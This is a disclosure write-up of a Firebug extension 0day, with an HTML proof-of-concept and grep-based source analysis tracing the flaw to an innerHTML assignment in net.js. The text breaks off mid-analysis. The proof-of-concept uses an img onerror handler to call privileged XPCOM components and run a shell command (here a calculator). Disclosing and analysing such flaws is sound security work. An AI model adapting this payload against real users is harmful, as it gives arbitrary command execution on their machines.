*Exploitation*



a demo : http://www.80vul.com/firefox/firebug0day.htm



<html>

<head>firebug 0day</head>

<body>

<img src=2 onerror='var file = Components.classes["@mozilla.org/file/local;1
"].createInstance(Components.interfaces.nsILocalFile);file.initWithPath
("/bin/sh");var process =Components.classes["@mozilla.org/process/util;1"].
createInstance(Components.interfaces.nsIProcess);process.init(file);var
args= ["-c", "
gcalctool"];process.run(false, args, args.length);'></img>

</body>

</html>



Open the firebug, and visite the exploit's URL, then open "NET"
-->URL-->"HTML" , and gcalctool is executed.







*Analysis*



extract the code from firebug@software.joehewitt.com.xpi by rar or zip .
then let�s go ...



80vul@ubuntu:~$ grep -in 'body.innerHTML' -r ./
firebug@software.joehewitt.com/ --colour

./firebug@software.joehewitt.com/content/firebug/traceModule.js:1128:
iframe.contentWindow.document.body.innerHTML = text;

./firebug@software.joehewitt.com/content/firebug/net.js:2561:
iframe.contentWindow.document.body.innerHTML = text;



80vul@ubuntu:~$ grep -in 'body.innerHTML' -r ./
firebug@software.joehewitt.com/content/firebug/net.js --colour -8

2553-        }

2554-

2555-        if (hasClass(tab, "netInfoHtmlTab") && file.loaded && !
netInfoBox.htmlPresented)

2556-        {

2557-            netInfoBox.htmlPresented = true;

2558-

2559-            var text = Utils.getResponseText(file, context);

2560-            var iframe = netInfoBox.getElementsByClassName("
netInfoHtmlPreview").item(0);

2561:            iframe.contentWindow.document.body.innerHTML = text;

2562-        }

2563-

2564-        // Notify listeners about update so, content of custom tabs can
be updated.

2565-        dispatch(NetInfoBody.fbListeners, "updateTabBody", [netInfoBox,
file, context]);

2566-    },

2567-

2568-    setResponseText: function(file, netInfoBox, responseTextBox,
context)

2569-    {



edit the content/firebug/net.js and seach "netInfoHtmlTab":



80vul@ubuntu:~$ gedit ./
firebug@software.joehewitt.com/content/firebug/net.js



Firebug.NetMonitor.NetInfoBody = domplate(Firebug.Rep, new Firebug.Listener
(),

{

    tag:
